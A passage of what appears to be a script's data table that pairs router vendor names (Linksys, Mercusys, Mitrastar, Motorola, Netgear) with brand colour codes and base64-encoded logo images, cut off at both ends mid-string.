FA2UzTnFeVRfDy1IgWGE4IN+FQPCbw8S5zRnAK2z3hd5V091XIxIEAFcjEGz3eal7SwCwFIHgVONfKxDsCPD9K3UJbuNXIj/A278ZAsFS2/o1NoZsIAEsNYLmR/uC50uJorOJFd3FRxCbfQ5Cyca05tWQbPWbjDzcz+juqxEZAoD3EQjfOrvXBDDaL6y3OSUK3/rSwJoH/EoEHvlejUIER22vp1+GQJRLlGK2DVgaRdPPpJ4yAthJi3Jf88MISixyGVihJ8UI9to8q9AW9C6Ahj/+ziZgYJD96mihlIhKV/YHkUT59X2A6ZRQtjswUFniOKuANE6zec9SH8AlNkqOIg94yTJbVi79yq2J/MH9QBITqBlCeyxiLpDp5p6AJgANfxzlWgqAcT7D20tsZh3QlabGID/AdwEl9vADcCZNDaIo5guplu+BwO1CMyRxtTHUgmMb/wFaMcqizAfSUXlv8g3QPERDPhQvBU0AGg7wE48B1fk4JhabpgNJXGGE/XyqmHxMA5IYQBbdgcXsk0qUTgpuDZrXEqAvbYBsRToxFcawDfiHIrS3DEIhuZkc4HYuCaE9Svz+qwlAIyJ4jrnA6fw7BnQp8wccQLLCvAeYigAGMZBKJiXmsRLI4umgd6tp7NK/RYEt7fJ4GKjusKV2cq8xDajluD1OBlCQnIaGI5gtApaiIfsQlBhpLrxbBCydBgiKWIUg1+QbvgxBMSsRlNBMWeIqI2/f1ZZ3SmW6sa1XPlePVSxAEt+Z5Cayzgk4XZHVsFXQcOIsDiPYrxPxaESWAKCv38nP3hLAsz49JpuUeNBXwtxwn2ZQwCOmSVBbssRIxxkYYmwdDNSFYgTrpM1AawI4iWwEJfTxSVJYyRGesnBCrmlser6mu69GpAmgLG+tGQG0svxLcZEAuvv0uNKkRGtfiYdNa6lhfKkFfzDSMKTLUJ2LeJdCY/jLZwAEiwZ8B4GQ8glbEwAMMRx8M4x/3+vLVzyDIbQM8HdoyT1sRSDYT33dfTUiTwBVfUkynacFb+siASQZPnB5Fv5za4z7Wu1cpDDOT8PtfM/nfMw81pLv59OnIplgBJDJIQQHA7wBgxEAxskA//W19yiy/TTMZQ2LmMM8VpPjk+6Xwp81NCJCANDOOKLCWwKAVxEI5fJeGR5DBOQBVqMH0yg20XkXj1BXeVXwfAD3IxABUZDBCaCe4Sjc1yfJYCTf+02+yv8d500bpzI5hA4Gqph4i0zFsVmBJDGEHhBw8NVLinTWgbAKvl1MKrDBga6TaAu8Y/kt7QmKkwYCsYQlNOE8utOeDNKpTg4H2cOPLOHHgBz9f2IbzwA/WtT7EulUpphqfm2azZuU+SCYtdJQLgY/t55DvMIrNKU7nTmdTGpTh1yOsZsNLGdmJMKA/h9DeBbTdyLfcgAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAyMi0wNi0wMlQyMzowNjozNiswMDowMIRVa/8AAAAldEVYdGRhdGU6bW9kaWZ5ADIwMjItMDYtMDJUMjM6MDY6MzYrMDA6MDD1CNNDAAAAAElFTkSuQmCC' ["Linksys"]='#0065B4 #70A0D4 #BFBFBF data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDE5LjAuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIGVuYWJsZS1iYWNrZ3JvdW5kPSJuZXcgLTI0OCAzODkgMTE0IDE2IiB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9Ii0yNDggMzg5IDExNCAxNiIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCS5zdDB7ZmlsbDojMDAwO30KPC9zdHlsZT4KPHBvbHlnb24gY2xhc3M9InN0MCIgcG9pbnRzPSItMTY0LjYgNDA1IC0xNjAuNiA0MDUgLTE2MC42IDM5OS44IC0xNTMuNCAzODkgLTE1Ny44IDM4OSAtMTYyLjQgMzk2LjMgLTE2NyAzODkgLTE3MS43IDM4OSAtMTY0LjYgMzk5LjkiLz4KPHBvbHlnb24gY2xhc3M9InN0MCIgcG9pbnRzPSItMjAzLjUgMzk3IC0xOTQuOCAzODkgLTE4OS40IDM4OSAtMTk4LjEgMzk3IC0xODkuNCA0MDUgLTE5NC44IDQwNSIvPgo8cmVjdCBjbGFzcz0ic3QwIiB4PSItMjI5LjYiIHk9IjM4OSIgd2lkdGg9IjQuMSIgaGVpZ2h0PSIxNiIvPgoKCTxwYXRoIGNsYXNzPSJzdDAiIGQ9Im0tMTg4LjUgNDA1aDEyLjhjMi4yIDAgMy43LTEuMiAzLjctMy44di0yLjJjMC0yLjMtMS4yLTMuOC0zLjctMy44aC05LjZ2LTNoMTIuNHYtMy4yaC0xMi42Yy0yLjMgMC0zLjcgMS4zLTMuNyAzLjh2MmMwIDIuMiAxLjMgMy43IDMuNyAzLjdoOS42djMuM2gtMTIuNnYzLjIiLz4KCTxwYXRoIGNsYXNzPSJzdDAiIGQ9Im0tMTUzLjEgNDA1aDEzLjVjMi4yIDAgMy43LTEuMiAzLjctMy44di0yLjJjMC0yLjMtMS4yLTMuOC0zLjctMy44aC05LjZ2LTNoMTIuNHYtMy4yaC0xMi43Yy0yLjMgMC0zLjcgMS4zLTMuNyAzLjh2MmMwIDIuMiAxLjMgMy43IDMuNyAzLjdoOS42djMuM2gtMTMuMnYzLjIiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iLTI0OCA0MDUgLTIzMi4xIDQwNSAtMjMyLjEgNDAxLjggLTI0My45IDQwMS44IC0yNDMuOSAzODkgLTI0OCAzODkiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iLTIyMi40IDQwNSAtMjE4LjcgNDA1IC0yMTguNyAzOTMuNiAtMjA2LjYgNDA1IC0yMDQuMSA0MDUgLTIwNC4xIDM4OSAtMjA3LjggMzg5IC0yMDcuOCAzOTguNiAtMjE3LjkgMzg5IC0yMjIuNCAzODkiLz4KCTxwYXRoIGNsYXNzPSJzdDAiIGQ9Im0tMTM1IDM4OS4yaC0wLjR2MWgtMC4ydi0xaC0wLjR2LTAuMmgwLjl2MC4yaDAuMXptMS40LTAuMmgtMC4ybC0wLjQgMC45LTAuNS0wLjloLTAuMnYxLjJoMC4ydi0wLjlsMC40IDAuOGgwLjFsMC40LTAuOHYwLjhoMC4ydi0xLjF6Ii8+Cgo8L3N2Zz4K' ["Mercusys"]='#DF6562 #AB4746 #BFBFBF data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAO0AAAAZCAMAAADqkFmyAAAARVBMVEVHcEz///////////////////////////////////////////////////////////////////////////////////////9X1DS3AAAAFnRSTlMA/nfh+PMK0/zrryxSvxuUQGCFyqNtwmvZmgAAA+NJREFUWMO9mInSnCAMgOUWDzx33/9RCyiQAK57dP7MtLWLgXwkJMGm+RsZ1n1TjGnGmBr3xbylZNaRCd464VyzraNv6UkK1IRT68MQcdKKFSswcoiwzxu5Eh70yxE1A1LVPq34Af+3fR6bRtunCS66BO3N2zx6rUzavnVvLBiPB03WyI77xc73w7/nm2GaDarPcXJH/rwUoF9ImHAWtVFL66zq4Ko0DDL7n5VcLLl5uyTyTRgk/UIuLYW0T7hd+ndaQjqM4H/kwgon97T0eknncsKA3hoH6fDCUkQrKq7FtFplMkL98zcWN5e4/QfL8ymdur6/oU1RzIU77FprexSJM/uYkqa5SAqYFEdtroZpgb6u09JaSsh3rzFxcZcLOIxdLK9oTdgxIbMMZP+MfiRunQD+iltkSjVMy0vXfkOb3rcn9xGHdfMJ7ZCyUmVNDiccYyyZZA0Z6ukaxPZUuPY3WgXP/PIRLdhwNheax+h+JPwIuCAaPdzQtg3W/w+08fiR5iNaCTOMKHaq8787t8u4gp8KZmS+1qzlsTZ1uWt/pi2PyXu0yAiX4DJdEfJqWIwcga1gAXi2uyxpJ5RFFz9RjXYfgjyoF3NHK2sZ/y3aPqubpEOG92fii8XnLMCSZ2qbyWlT4hyPbSOCvVVvaZVWJ9r+RZK66S76vCkhI+Td/U+pKofDLXVupDIZ7QM417t2+IE2JZjuF1p7OPO2iHR5LBcJ1spUdFObRLRJVflH3XxBKw4BodT/RttIVXTJKV8ZCKVQbR2LbVoRbfLHeoQFuzi3PRL5qk9+ok6Lf0FrkbZ80qQwPS8nL3kVpEX+c+mNfZ6Tq3Y9y2P9CW1pOHmU+YFUOpAdX6DIDml7ODR/RcsPgekdNo5l8RN5CK7VwMwMZ6VzWbVtWlF6FpC22fB87Ot6K1DIqRehrFNDk/WAeUtN+bNSym5obS0VRed02iEJSC6YVn1ES5Fz55pTYEM05u2vk0fpKPIFreVt67RnMxbCCNJ21Qv/ZS/VorcZuNuC3ZL2tBjcz6Zbv+syVzV2Ex36wu+vI3lRG1Jb65GcrDQ5rblMRG2NNhphyuaGa+1vnMQv2oErPie4eHbowwCJX1zOu8AVLcVqJP+SEmknmCEg7dG33H67iCsSZISsl+s8WeTJfL1YEXSgNdr5yi8yoz0zuilpUZa4p52ybm5g5IK2eZQTi6G4iMG6KV/TXhREFrpHSuNFkE7TdDYr89H209C7mPMegOXh9dNz9nIqg0PHbKymbzhch0I7bCLdCjnbg1mSaaBwjk7oZmDC0vACrEo1vb/3PffvRF6PHPL5jDW1f+Bx7uGP7kSnAAAAAElFTkSuQmCC' ["Mitrastar"]='#70A0D4 #E3E6E5 #B2B2B2 data:image/png;base64,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' ["Motorola"]='#0033FF #000106 #CCCCCC data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjwhLS0gR2VuZXJhdG9yOiBBZG9iZSBJbGx1c3RyYXRvciAxNC4wLjAsIFNWRyBFeHBvcnQgUGx1Zy1JbiAuIFNWRyBWZXJzaW9uOiA2LjAwIEJ1aWxkIDQzMzYzKSAgLS0+Cgo8c3ZnCiAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIKICAgeG1sbnM6Y2M9Imh0dHA6Ly9jcmVhdGl2ZWNvbW1vbnMub3JnL25zIyIKICAgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIgogICB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIgogICB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciCiAgIHhtbG5zOnNvZGlwb2RpPSJodHRwOi8vc29kaXBvZGkuc291cmNlZm9yZ2UubmV0L0RURC9zb2RpcG9kaS0wLmR0ZCIKICAgeG1sbnM6aW5rc2NhcGU9Imh0dHA6Ly93d3cuaW5rc2NhcGUub3JnL25hbWVzcGFjZXMvaW5rc2NhcGUiCiAgIHZlcnNpb249IjEuMSIKICAgaWQ9IkxheWVyXzEiCiAgIHg9IjBweCIKICAgeT0iMHB4IgogICB3aWR0aD0iNDQuOTU0OTk4IgogICBoZWlnaHQ9IjQ0Ljk1NDk5OCIKICAgdmlld0JveD0iMCAwIDQ0Ljk1NDk5OCA0NC45NTQ5OTgiCiAgIHhtbDpzcGFjZT0icHJlc2VydmUiCiAgIGlua3NjYXBlOnZlcnNpb249IjAuNDguMiByOTgxOSIKICAgc29kaXBvZGk6ZG9jbmFtZT0iTSBCTFVFLnN2ZyI+PG1ldGFkYXRhCiAgIGlkPSJtZXRhZGF0YTI5Ij48cmRmOlJERj48Y2M6V29yawogICAgICAgcmRmOmFib3V0PSIiPjxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0PjxkYzp0eXBlCiAgICAgICAgIHJkZjpyZXNvdXJjZT0iaHR0cDovL3B1cmwub3JnL2RjL2RjbWl0eXBlL1N0aWxsSW1hZ2UiIC8+PGRjOnRpdGxlPjwvZGM6dGl0bGU+PC9jYzpXb3JrPjwvcmRmOlJERj48L21ldGFkYXRhPjxkZWZzCiAgIGlkPSJkZWZzMjciPjxpbmtzY2FwZTpwZXJzcGVjdGl2ZQogICBzb2RpcG9kaTp0eXBlPSJpbmtzY2FwZTpwZXJzcDNkIgogICBpbmtzY2FwZTp2cF94PSIwIDogMjcgOiAxIgogICBpbmtzY2FwZTp2cF95PSIwIDogMTAwMCA6IDAiCiAgIGlua3NjYXBlOnZwX3o9IjI1MCA6IDI3IDogMSIKICAgaW5rc2NhcGU6cGVyc3AzZC1vcmlnaW49IjEyNSA6IDE4IDogMSIKICAgaWQ9InBlcnNwZWN0aXZlMzEiIC8+CgkKCQoJCgkKCQoJCgkKCQoJCgkKPC9kZWZzPjxzb2RpcG9kaTpuYW1lZHZpZXcKICAgcGFnZWNvbG9yPSIjZmZmZmZmIgogICBib3JkZXJjb2xvcj0iIzY2NjY2NiIKICAgYm9yZGVyb3BhY2l0eT0iMSIKICAgb2JqZWN0dG9sZXJhbmNlPSIxMCIKICAgZ3JpZHRvbGVyYW5jZT0iMTAiCiAgIGd1aWRldG9sZXJhbmNlPSIxMCIKICAgaW5rc2NhcGU6cGFnZW9wYWNpdHk9IjAiCiAgIGlua3NjYXBlOnBhZ2VzaGFkb3c9IjIiCiAgIGlua3NjYXBlOndpbmRvdy13aWR0aD0iMTYwMCIKICAgaW5rc2NhcGU6d2luZG93LWhlaWdodD0iODM3IgogICBpZD0ibmFtZWR2aWV3MjUiCiAgIHNob3dncmlkPSJmYWxzZSIKICAgaW5rc2NhcGU6em9vbT0iMi4xNiIKICAgaW5rc2NhcGU6Y3g9IjEyMCIKICAgaW5rc2NhcGU6Y3k9IjIyLjQ3Njk5OCIKICAgaW5rc2NhcGU6d2luZG93LXg9Ii04IgogICBpbmtzY2FwZTp3aW5kb3cteT0iLTgiCiAgIGlua3NjYXBlOndpbmRvdy1tYXhpbWl6ZWQ9IjEiCiAgIGlua3NjYXBlOmN1cnJlbnQtbGF5ZXI9IkxheWVyXzEiCiAgIGZpdC1tYXJnaW4tdG9wPSIwIgogICBmaXQtbWFyZ2luLWxlZnQ9IjAiCiAgIGZpdC1tYXJnaW4tcmlnaHQ9IjAiCiAgIGZpdC1tYXJnaW4tYm90dG9tPSIwIiAvPgo8cGF0aAogICBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIgogICBpZD0icGF0aDUiCiAgIGQ9Im0gNDEuOTQ5LDIyLjgyNCBjIDAsMTAuNzQyIC04LjcxLDE5LjQ1MyAtMTkuNDU0LDE5LjQ1MyBDIDExLjc1MSw0Mi4yNzcgMy4wNDE5OTk1LDMzLjU2NiAzLjA0MTk5OTUsMjIuODI0IDMuMDQxOTk5NSwxMi4wNzggMTEuNzUxLDMuMzcgMjIuNDk1LDMuMzcgYyAxMC43NDQsMCAxOS40NTQsOC43MDggMTkuNDU0LDE5LjQ1NCIKICAgc3R5bGU9ImZpbGw6I2ZmZmZmZiIgLz48cGF0aAogICBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIgogICBpZD0icGF0aDciCiAgIGQ9Im0gMjIuNDc0LDAgYyAxMi41NzksMCAyMi40ODEsMTAuMTM0IDIyLjQ4MSwyMi40NzcgMCwxMi40MTYgLTEwLjA2NywyMi40NzggLTIyLjQ4MSwyMi40NzggQyAxMC4wNjIsNDQuOTU2IC00LjUwOTcxNzllLTcsMzQuODkzIC00LjUwOTcxNzllLTcsMjIuNDc4IC00LjUwOTcxNzllLTcsMTAuMDYxIDEwLjA2MiwwIDIyLjQ3NCwwIE0gMjIuNDI0LDI3LjE5MSAxNi4xMzcsNi4zMjkgNy45OTU5OTk1LDMzLjAzOSBoIDEuNTI3IGMgMCwwIDEuMDI3MDAwNSwtNC42NDYgMi42OTcwMDA1LC03LjQyMSAwLjkwOSwtMS41MDcgMi4zMSwtMi43MzkgNC4xODMsLTIuNzA1IDEuMzE5LDAuMDI2IDIuNDYyLDAuNzQ3IDMuODg5LDIuNzQzIDAuODU4LDEuMTk1IDIuMTc5LDQuMjQ0IDIuMTc5LDQuMjQ0IDAsMCAxLjMyMiwtMy4wNDUgMi4xODMsLTQuMjQ0IDEuNDIzLC0xLjk5NiAyLjU2NiwtMi43MTcgMy44ODksLTIuNzQzIDEuODcxLC0wLjAzNCAzLjI3NSwxLjE5OCA0LjE4LDIuNzA4IDEuNjcxLDIuNzcxIDIuNjk3LDcuNDE4IDIuNjk3LDcuNDE4IGggMS41MzEgbCAtOC4xNDYsLTI2LjcxIC02LjI4NiwyMC44NjIgLTAuMDQ1LDAuMDM3IC0wLjA1LC0wLjAzNyB6IgogICBzdHlsZT0iZmlsbDojMDAwMDAwIiAvPgo8L3N2Zz4=' ["Netgear"]='#D9D9D9 #330099 #D6D6D6 data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMgAAAAeCAYAAABpP1GsAAAABmJLR0QA/wD/AP+gvaeTAAAMK0lEQVR4nO2ce3Bc5XXAf+fbXckS2l3DWHYIoVMyTEupMyEwUEhTHp6G4JqGtontNFDeKPZqZR5BWomUshlia1cWJFjS+pGGAE2JYzBNmoS8EyYJEzKYkAKpO02KS8chY4yRdldPe+89/UO2I6/uvXvv7gozwr8ZzUj3nO98R3f33Hu+c893hRMcN9Y03X9aOHJwqY0sEmhFaAQQ1d9aoruX5KdeTJM+eLz9fDsjiVjftWD/g4v4UKlUumnb+Kd+59dgIt6XRe1znWRG+d5gsbvPa3wy1nerqn7A73yuqA4MjXb/+FjfMreILZfXbLsM29iZzfme5/zoro33nmds04ZwKfBHFdQngadE2TpY7PoaiAb1LRnLplX506DjyrHD5t7Nw50vBJ4/3rdSVVd66ajNPbnR1O6gttfGshcauMOnuoVSwJAHDojYP7cjU7ty+9OjXoPCBn23In/pptAQDj/RxtaLt/GJQ77cUPtccbGnwm8rDkcvRPior7m87Ij5OnBMgIhtzkO0ZtvliC2PAJ4B0rEw817bls+grEAQn6YXAFeocEUytvE5lWzPUD71vWDOcSlwSaAxDhjb3lbNOFW9ByoEqNFXgduC2g6JnF4p+I5BAD3il0GmmsYTsewjtrGzW0Z6/tfRtUo2FS6MRIfTvp04QRkq7fFsyrZlF3Al+A6OY62g56F8tz2a3Zom3VBfH+eGxMK+c6gUHIAgH29ja+RNcKmcZoE1Idu8mIj2Xe+kUDFAABDpTsYyH6qnZ28H0qRNe7xvG0oGCNfFqNC2P9a08zh9oQIhtrqk7rNoDUeHr5hTZ7xpEdEHk9HsDeUCfwECRpF/STZn31lnx+Y1r8Wbe1FungPTV0biw1vmw